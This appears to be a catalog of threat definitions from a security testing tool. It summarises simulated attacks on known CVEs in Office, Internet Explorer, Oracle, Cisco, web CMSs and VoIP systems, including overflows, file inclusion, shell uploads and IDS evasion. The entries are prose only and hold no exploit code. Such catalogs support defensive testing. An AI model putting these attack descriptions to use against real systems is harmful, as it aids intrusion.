Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to an unknown error when parsing content in Excel files. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2013-1315
OSVDB:	97131
Threat File Name:	FSC20100208-02_Oracle_Database_DBMS_JAVA_SET_OUTPUT_TO_JAVA_Privilege_Escalation.xml
Executive Description:	Oracle Database DBMS_JAVA.SET_OUTPUT_TO_JAVA Privilege Escalation
Detailed Description:	A vulnerability exists in Oracle Database 11g server that could allow users with limited privileges to execute SQL commands with SYS privileges on the server. The vulnerability is due to an access control weakness that allows non-privileged users to execute methods in the DBMS_JAVA package. Remote authenticated users with only CREATE_SESSION privileges can exploit this vulnerability via the SET_OUTPUT_TO_JAVA method and execute arbitrary SQL commands on the target server.
Protocol Type:	iSQL *Plus/TNS/TCPs
Threat Package:	Standard
Threat File Name:	TSL20130709-30_Microsoft_Internet_Explorer_CVE-2013-3146_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3146 Memory Corruption [IPv6, Version]
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6, HTTP,HTTPS
CVEID:	CVE-2013-3146
OSVDB:	94974
Threat File Name:	cybuzu_sqli.xml
Executive Description:	Cybuzu Garoon 2.1.0 SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Cybuzu Garoon is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	vlc_activex_bof_IPv6.xml

Executive Description:	VideoLAN VLC axvlc.dll ActiveX Control Initialization Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the axvlc.dll ActiveX Object in VideoLAN VLC, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6262
Threat Package:	Standard
Threat File Name:	TSL20131220-04_IBM_Rational_Focal_Point_RequestAccessController_Servlet_Information_Disclosure_IPv6.xml
Executive Description:	IBM Rational Focal Point RequestAccessController Servlet Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in the IBM Focal Point. The vulnerability is due to input validation error of <i><file></i> variable in <i><com.telelogic.focalpoint.pres.controller.RequestAccessController></i> servlet. A remote unauthenticated attacker could exploit this vulnerability to read the configuration files of the Webservice Axis Gateway of Focal Point.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2013-5398
OSVDB:	101024
Threat File Name:	quicktime_hreftrack_crosszone.xml
Executive Description:	Apple Quicktime HREFTrack Cross-Zone Scripting Vulnerability
Detailed Description:	This threat simulates a client requesting a Quicktime video, and the server replying with a maliciously constructed mov file. This file will trigger a cross-zone scripting vulnerability, allowing arbitrary code execution via a remote script. The transport of the mov file is done via HTTP, which generally runs on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080408-03_HP_OpenView_Network_Node_Manager_Ovalarmsrv_Service_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager Ovalarmsrv Service Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in HP OpenView Network Node Manager Ovalarmsrv Service. The flaw is due to a boundary error when processing user requests. A remote unauthenticated attacker can send a crafted request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected service, which is normally System on Windows platforms. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	phpkit_cmi.xml
Executive Description:	PHPKIT remote command execution exploit
Detailed Description:	This threat sends a crafted url containing PHP code which is executed by the server which then downloads a payload from a SMB server. PHPKIT is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0786
OSVDB:	20562
Threat File Name:	squery_rfi.xml
Executive Description:	SQuery LibPath Parameter Multiple Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing the path for a local file to include in the returned page via the "gore.php" module for every installed script. Squery is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1688
OSVDB:	24408
Threat Package:	Standard
Threat File Name:	sipnonnumcontentlength_IPv6.xml
Executive Description:	SIP Non-Numeric Content Length (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with a non-numeric content length specified (twelve). This can confuse or crash a PBX that isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	rhino_xss.xml
Executive Description:	Rhino XSS Attack
Detailed Description:	This threat demonstrates a cross-site scripting attack in RhinoSoft's webserver component of dns4me.
Protocol Type:	HTTP
CVEID:	CVE-2004-1690
OSVDB:	10038
Threat Package:	Standard
Threat File Name:	TSL20110712-14_libsndfile_PAF_File_Integer_Overflow.xml
Executive Description:	libsndfile PAF File Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in the Paris Audio Format (PAF) handler of the libsndfile library, which can result in a heap buffer overflow. A remote attacker could entice a target user to open a specially crafted PAF file (with an application that uses the libsndfile library) to effect a heap buffer overflow, and potentially execute arbitrary code. If code execution is unsuccessful, the application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-2696
Threat File Name:	FSC20060403-11_Microsoft_Internet_Explorer_Plugin_Loading_Address_Bar_Spoofing.xml
Executive Description:	Microsoft Internet Explorer Plugin Loading Address Bar Spoofing
Detailed Description:	An address bar spoofing vulnerability exists in the Microsoft Internet Explorer. The vulnerability is specific to improperly handling resources that require a plugin to be processed. This flaw can be used to spoof the address bar of the browser to mislead a user as to the origin of a resource.
Protocol Type:	HTTP
CVEID:	CVE-2006-1626

Threat Package:	Standard
Threat File Name:	FSC20040917-01_Mozilla_BMP_Parsing_Integer_Overflow.xml
Executive Description:	Mozilla BMP Parsing Integer Overflow
Detailed Description:	A vulnerability exists in the way several versions of the Mozilla web browser parses BMP images. The browser is not equipped to handle a BMP image with an overly large width value. This vulnerability may be leveraged by an attacker to execute arbitrary code on a target user's system or create a denial of service condition.
Protocol Type:	HTTP
CVEID:	CVE-2004-0904
Threat Package:	Standard
Threat File Name:	TSL20100521-05_HP_Intelligent_Management_Center_Database_Credentials_Information_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center Database Credentials Information Disclosure(IPv6 Version)
Detailed Description:	A policy bypass vulnerability exists in HP Intelligent Management Center. The vulnerability is due to insufficient access control for configuration files containing database credentials. A remote unauthenticated attacker, using crafted HTTP requests, can retrieve database credentials setup for the affected application. With this information, the attacker could gain read/write access to the application's database content.
Protocol Type:	IPv6,HTTP,HTTPS
Threat File Name:	TSL20131205-08_Cisco_Prime_Data_Center_Network_Manager_FileUploadServlet_Arbitrary_File_Upload.xml
Executive Description:	Cisco Prime Data Center Network Manager FileUploadServlet Arbitrary File Upload
Detailed Description:	An arbitrary file upload vulnerability exists in Cisco Prime Data Center Network Manager. The vulnerability is due to lack of authentication and insufficient input validation in the <code>FileUploadServlet</code> when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing files in critical locations.
Protocol Type:	HTTP
CVEID:	CVE-2013-5486
OSVDB:	97425
Threat File Name:	FSC20081205-20_Sun_Java_Runtime_Environment_JAR_File_Processing_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Sun Java Runtime Environment JAR File Processing Stack Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in Sun Java Runtime Environment software. The vulnerability is due to insufficient validation while processing Java Archive (JAR) files. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted JAR file. Successful exploitation can lead to arbitrary code execution on the target. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. This injected code would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-5354
Threat Package:	Standard
Threat File Name:	FSC20090609-01_Microsoft_Office_Excel_Malformed_Records_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Office Excel Malformed Records Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office Excel products. The vulnerability is due to improper parsing of an Excel file that includes a malformed set of records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0559
Threat Package:	Standard
Threat File Name:	TSL20111103-01_Nullsoft_Winamp_MIDI_File_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp MIDI File Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Nullsoft Winamp. This vulnerability is due to a heap buffer overflow while handling crafted MIDI files. Remote attackers can exploit this vulnerability by enticing the target user to open specially crafted files. Successful exploitation would lead to to arbitrary code execution in the security context of the logged-in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
Threat File Name:	FSC20091013-32_Microsoft_Windows_GDIplus_TIFF_RLE_Compressed_Data_Buffer_Overflow.xml
Executive Description:	Microsoft Windows GDIplus TIFF RLE Compressed Data Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Windows GDI+ that could allow remote code execution. The vulnerability is due to the way that Microsoft Windows GDI+ allocates memory. An remote attacker can exploit this vulnerability by enticing the target to open a specially crafted TIFF file. In the case of successful code injection and execution, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be executed with the privileges of the currently user. In the case where code execution is not successful, the application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/MMS/POP3/RTSP/SMB/CIFS/SMTP
CVEID:	CVE-2009-2503
Threat Package:	Standard
Threat File Name:	ms03-022_IPv6.xml
Executive Description:	NSISLOG.DLL Buffer Overflow (IPv6 Version)

Detailed Description:	This threat causes a buffer overflow the nsiislog.dll web DLL of IIS. It allows a remote attacks to run arbitrary code on the server. nsiislog.dll is a component of Microsoft's IIS, which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0349
OSVDB:	4535
Threat Package:	Standard
Threat File Name:	net-worm.linux.mare.e-webl.xml
Executive Description:	Net-Worm.Linux.Mare.E worm HTTP Payload Vulnerability
Detailed Description:	This threat is one of the HTTP requests for the Net-Worm.Linux.Mare.E Worm. Net-Worm.Linux.Mare.E is a worm that exploits well known web application holes.
Protocol Type:	HTTP
Threat File Name:	TSL20131205-09_Cisco_Prime_Data_Center_Network_Manager_DownloadServlet_Information_Disclosure.xml
Executive Description:	Cisco Prime Data Center Network Manager DownloadServlet Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Cisco Prime Data Center Network Manager. The vulnerability is due to lack of authentication and insufficient input validation in <i>DownloadServlet</i> when processing HTTP requests. A remote unauthenticated attacker can download arbitrary files from arbitrary locations. This can be leveraged to obtain sensitive information from a target system.
Protocol Type:	HTTP
CVEID:	CVE-2013-5487
OSVDB:	97428
Threat File Name:	TSL20130312-09_Microsoft_Internet_Explorer_GetMarkupPtr_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer GetMarkupPtr Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a Use-After-Free error in the GetMarkupPtr function when processing script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-0092
OSVDB:	91143
Threat File Name:	sixcms_xss.xml
Executive Description:	SixCMS 6.0 List.PHP Cross-Site Scripting Vulnerability
Detailed Description:	This threat sends a crafted url to take advantage of a flaw in SixCMS's List.php function which would allow a malicious user to execute code on the affected site. SixCMS is a web application the typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3051
OSVDB:	26504
Threat Package:	Standard
Threat File Name:	FSC20081015-04_Sun_Solstice_AdminSuite_sadmind_service_adm_build_path_Buffer_Overflow_IPv6.xml
Executive Description:	Sun Solstice AdminSuite sadmind service adm_build_path Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in Solstice AdminSuite's sadmind. The flaw is due to improper user input validation when processing RPC requests. A remote unauthenticated attacker can leverage this vulnerability by sending crafted RPC message to the target host, potentially inject and execute arbitrary code with root level privileges. (IPv6 Version)
Protocol Type:	SUNRPC/IPv6
CVEID:	CVE-2008-4556
Threat Package:	Standard
Threat File Name:	websitebakery_cmi.xml
Executive Description:	Website Baker Remote Command Execution
Detailed Description:	This threat sends multiple HTTP requests upload a PHP shell allowing arbitrary command execution. Website Baker is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4140
OSVDB:	21572
Threat File Name:	phpmycms_rfi_IPv6.xml
Executive Description:	PhpMyCms <= 0.3 (basic.inc.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpMyCMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20151209-03_Autodesk_Design_Review_GIF_GlobalColorTable_DataSubBlock_Buffer_Overflow_IPv6.xml
Executive Description:	Autodesk Design Review GIF GlobalColorTable DataSubBlock Buffer Overflow(IPv6 version)
Detailed Description:	A heap buffer overflow vulnerability exists in Autodesk Design Review. The vulnerability is due to an error when processing GlobalColorTable flag and DataSubBlock size fields inside a GIF file. In order to exploit the vulnerability, the remote attacker needs to entice the target user to open a malicious file using the vulnerable application. Successful exploitation would allow the attacker to execute arbitrary code.
Protocol Type:	HTTPS,HTTP,IMAP,POP3,SMB/CIFS,SMTP,FTP,NFS,IPv6
CVEID:	CVE-2015-8572
Threat File Name:	pixel_motion_rcmd.xml
Executive Description:	Pixel Motion Config.PHP Remote Command Execution Vulnerability

Detailed Description:	This threat uses a specially crafted HTTP POST reply to a web server running a vulnerable version of Blog Pixel Motion leveraging a flaw in its Config.php function. Pixel Motion is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20110426-02_Microsoft_Office_Excel_Label_Record_Buffer_Overflow.xml
Executive Description:	Microsoft Office Excel Label Record Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to a flaw in the parsing of Label record in Excel documents, causing a buffer overflow. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0098
Threat File Name:	SymantecFirewallTCPOptions_IPv6.xml
Executive Description:	Symantec Firewall TCP Options Attack (IPv6 Version)
Detailed Description:	This threat sets TCP options in a way that causes the Symantec firewall software to enter a infinite loop. This causes a denial of service on the machine since the code executing is within kernel space. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2004-0375
OSVDB:	5596
Threat Package:	Standard
Threat File Name:	TSL20150630-12_IBM_Tivoli_Storage_Manager_FastBack_Server_FXCLI_OraBR_Exec_Command_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Server FXCLI_OraBR_Exec_Command Buffer Overflow IPv6 version.
Detailed Description:	A buffer overflow vulnerability exists in IBM Tivoli Storage Manager FastBack Server. The vulnerability is due to insufficient boundary checking while processing remote requests within the FXCLI_OraBR_Exec_Command function. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to port 11460/TCP. Successful exploitation results in arbitrary code execution within the context of System. Tester should set variable \$destPort to 11460 before test.
Protocol Type:	IBM TSM FastBack Server.IPV6
CVEID:	CVE-2015-1929
Threat File Name:	FSC20090610-06_Adobe_Acrobat_and_Adobe_Reader_U3D_RHAdobeMeta_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Acrobat and Adobe Reader U3D RHAdobeMeta Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Adobe Reader and Acrobat. The vulnerability is due to the way of Adobe Acrobat and Adobe Reader handle U3D data. A remote attacker can exploit this vulnerability by enticing the target user to open malicious PDF files. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1855
Threat Package:	Standard
Threat File Name:	FSC20070417-19_McAfee_VirusScan-On-Access_Scanner_Long_Unicode_Filename_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	McAfee VirusScan On-Access Scanner Long Unicode Filename Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a heap buffer overflow vulnerability in McAfee VirusScan. The flaw is due to a boundary error when processing overly long file names that contain Unicode characters. A remote attacker can exploit this vulnerability by placing a file with a specially crafted name on the target system and enticing the user to access the file. Successful exploitation may allow arbitrary code execution in the security context of System. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	minerva_rfi.xml
Executive Description:	Minerva Admin_Topic_Action_Logging.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Minerva is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	pathos_rfi.xml
Executive Description:	Pathos CMS 0.92-2 (warn.php file) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.ArticleBeach Script is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1907
Threat Package:	Standard
Threat File Name:	tomcat_dos.xml
Executive Description:	Apache Tomcat Denial of Service
Detailed Description:	This threat sends out repeated requests for a specific URL on a Tomcat webserver.
Protocol Type:	HTTP
CVEID:	CVE-2003-0045
OSVDB:	12233
Threat Package:	Standard
Threat File Name:	TSL20151013-23_Microsoft_Office_Excel_fileVersion_Use_After_Free.xml

Executive Description:	Microsoft Office Excel fileVersion Use After Free
Detailed Description:	A use-after-free vulnerability exists in Microsoft Office Excel. The application fails to properly handle a pointer in memory while parsing a fileVersion XML element in an XLSX document. A remote, unauthenticated attacker could exploit these vulnerabilities by enticing a user to open a specially crafted XLSX document. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP/HTTPS/IMAP/SMTP/SMB/CIFS
CVEID:	CVE-2015-2558
Threat File Name:	FSC20090113-23_Oracle_Secure_Backup_Administration_Server_login_php_Cookies_Command_Injection.xml
Executive Description:	Oracle Secure Backup Administration Server login.php Cookies Command Injection
Detailed Description:	There exists a command injection vulnerability in Oracle Secure Backup. The vulnerability is due to lack of sanitation of user supplied parameters when processing HTTP requests sent to CGI program login.php. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command.
Protocol Type:	HTTP
CVEID:	CVE-2008-4006
Threat Package:	Standard
Threat File Name:	mybb_abp_IPv6.xml
Executive Description:	MyBulletinBoard (MyBB) 1.1.3 Authentication Bypass (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query containing parameters intended for an administrative user, this threat then grants administrative privldges to the attacking user. MyBulletinBoard is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120907-01_HP_Application_Lifecycle_Management_ActiveX_Control_Arbitrary_File_Overwrite.xml
Executive Description:	HP Application Lifecycle Management ActiveX Control Arbitrary File Overwrite
Detailed Description:	A directory traversal and file overwrite vulnerability exists in the HP Application Lifecycle Management ActiveX control XGO.ocx. The vulnerability is caused by exposing the CopyToFile function which fails to validate the filename parameter and allows the overwriting of system files. An attacker could exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation could result in code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-N/A
OSVDB:	85059
Threat File Name:	TSL20170330-07_Trend_Micro_IWSVA_PacFileManagement_delete_pac_files_Command_Injection_IPv6.xml
Executive Description:	Trend Micro IWSVA PacFileManagement delete_pac_files Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters when processing requests to the PacFileManagement servlet. A remote, authenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of root.
Protocol Type:	HTTP,HTTPS,IPv6
Threat File Name:	ms05-038_random.xml
Executive Description:	MS05-038 Internet Explorer JPEG Image Corruption random
Detailed Description:	This threat causes a crash in Internet Explorer. It is caused by the downloading of a malformed JPEG image from a webserver. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1988
OSVDB:	18610
Threat Package:	Standard
Threat File Name:	FSC20080129-16_Firebird_XDR_Operation_Request_Handling_Denial_of_Service.xml
Executive Description:	Firebird XDR Operation Request Handling Denial of Service
Detailed Description:	There exists a null-dereference overflow vulnerability in Firebird database project. The flaw resides in the External Data Representation (XDR) protocol processing routines. A remote unauthenticated attacker may exploit this vulnerability by sending crafted message to the target server. Successful attack could create a denial of service condition to the Firebird service.
Protocol Type:	GDSDB
CVEID:	CVE-2008-0387
Threat Package:	Standard
Threat File Name:	FSC20110224-06_CA_Internet_Security_Suite_XMLSecDB_ActiveX_Insecure_File_Creation_IPv6.xml
Executive Description:	CA Internet Security Suite XMLSecDB ActiveX Insecure File Creation(IPv6 Version)
Detailed Description:	An insecure file creation vulnerability exists in CA Internet Security Suite. The vulnerability is due to an error when the XMLSecDB ActiveX control, which is installed with the HIPS Engine component, handles SetXml and Save methods. A remote unauthenticated attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML page. Successful exploitation could possibly allow attackers to execute arbitrary code within the context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1036
Threat File Name:	sipaddrspace_IPv6.xml
Executive Description:	SIPPING: Spaces in Address (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message with spaces in the To: address. This is invalid and because it is unexpected may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP

Threat File Name:	TSL20131112-17_Microsoft_Internet_Explorer_CAnchorElement_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CAnchorElement Use After Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way CAnchorElement objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3871
OSVDB:	98199
Threat File Name:	TSL20121010-01_Cisco_WebEx_Recording_Format_Player_atas32_dll_Memory_Corruption_IPv6.xml
Executive Description:	Cisco WebEx Recording Format Player atas32.dll Memory Corruption(IPv6_Version)
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to a write-what-where memory corruption when the WRF player handles WRF files. A remote, unauthenticated attacker can leverage this vulnerability by crafting a WRF file and enticing a target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-3939
OSVDB:	N/A
Threat File Name:	apacheCRLF.xml
Executive Description:	Apache CRLF Denial of Service
Detailed Description:	This threat causes a denial of service in Apache by eating up available memory. This can cause the HTTP service to crash over time if this threat is run long enough. Apache is a webserver that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2003-0132
OSVDB:	9712
Threat Package:	Standard
Threat File Name:	FSC20060217-03_Snort_Fragmented_IP_Packet_Processing_Evasion_Vulnerability.xml
Executive Description:	Snort frag3 Preprocessor Fragmented IP Packet Detection Evasion
Detailed Description:	A detection bypass vulnerability exists in Snort's frag3 preprocessor. The vulnerability is caused due to improper processing of IP Options of fragmented IP packets in the vulnerable preprocessor. An attacker may exploit this vulnerability by sending crafted fragmented IP packets to bypass Snort's detection or terminate the Snort process in certain circumstances.
Protocol Type:	IP
CVEID:	CVE-2006-0839
Threat Package:	Standard
Threat File Name:	InternetExplorerObject.xml
Executive Description:	Internet Explorer Nested Object Tag Crash
Detailed Description:	This threat causes a memory access violation in Internet Explorer. It is caused by nesting multiple OBJECT tags inside of each other in a malicious web page. This attack might potentially be able to execute code in the browser. This attack comes from a malicious website, which typically listens on port 80. This attack comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	gdivix_zenith_player_bof.xml
Executive Description:	GDivX Zenith Player AviFixer Class (fix.dll 1.0.0.1) Buffer Overflow
Detailed Description:	This threat demonstrates a buffer overflow against an ActiveX component though its SetInputFile filename argument, this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	x86NOOPudp7.xml
Executive Description:	UDP x86 NOOP Variant 7
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	asus_vs_bof.xml
Executive Description:	Asus Video Security Buffer Overflow
Detailed Description:	This threat sends a long buffer in the Authorization HTTP header, causing a buffer overflow to occur. This can be used to gain remote access to the host by injecting shellcode into the buffer. Asus Video Security is a small webserver and normally listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3489
OSVDB:	20457
Threat Package:	Standard
Threat File Name:	FSC20070910-16_Lighttpd_mod_fastcgi_Extension_CGI_Variable_Overwriting_Vulnerability.xml
Executive Description:	Lighttpd mod_fastcgi Extension CGI Variable Overwriting Vulnerability
Detailed Description:	A variable overwriting vulnerability exists in Lighttpd FastCGI extension. A remote unauthenticated attacker can exploit this vulnerability by sending an HTTP request containing crafted header data to the target server, potentially causing information disclosure or execution of malicious scripts in the security context of web server. In successful attack results in information disclosure, the target host might not exhibit any behavioural difference. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the FastCGI application.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2007-4727
Threat Package:	Standard

Threat File Name:	mailenable_bof.xml
Executive Description:	MailEnable Authorization Overflow
Detailed Description:	This threat causes a buffer overflow to occur in during authentication with MailEnable. This leads to code execution and remote system compromise. Typically the MailEnable daemon listens on port 8080.
Protocol Type:	HTTP
CVEID:	CVE-2005-1348
OSVDB:	15913
Threat Package:	Standard
Threat File Name:	FSC20060509-07_Microsoft_Windows_MSRTC_Denial_of_Service_Vulnerability.xml
Executive Description:	Microsoft Windows MSRTC Denial of Service Vulnerability
Detailed Description:	A denial of service vulnerability exists in the DTC (Distributed Transaction Coordinator) component of Microsoft Windows. The flaw is caused by insufficient verification of user supplied data. The successful exploitation of the vulnerability may allow an attacker to cause the affected system to stop accepting requests.
Protocol Type:	Proprietary
CVEID:	CVE-2006-1184
Threat Package:	Standard
Threat File Name:	FSC20071026-07_RealNetworks_RealPlayer_Multiple_Products_RA_File_Processing_Heap_Overflow.xml
Executive Description:	RealNetworks RealPlayer Multiple Products RA File Processing Heap Overflow
Detailed Description:	A heap overflow vulnerability exists in RealNetworks multiple products. The vulnerability is due to boundary errors when processing RealAudio (RA) files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RA file. Successful exploitation would cause a heap overflow that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-2264
Threat Package:	Standard
Threat File Name:	FSC20060403-15_McAfee_WebShield_SMTP_Bounce_Message_Format_String_Vulnerability_IPv6.xml
Executive Description:	McAfee WebShield SMTP Bounce Message Format String Vulnerability (IPv6 Version)
Detailed Description:	There exists a format string vulnerability in the SMTP virus scanning software, McAfee WebShield SMTP. The vulnerability is caused due to improper sanitation of non-existent domain names when generating a bounce message. An unauthenticated attacker may leverage the vulnerability to inject and execute arbitrary code in the context of the running service, normally System. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2006-0559
Threat Package:	Standard
Threat File Name:	MSsqlDoS_IPv6.xml
Executive Description:	MS02-039 MS SQL Server 2000 UDP Ping Flood (IPv6 Version)
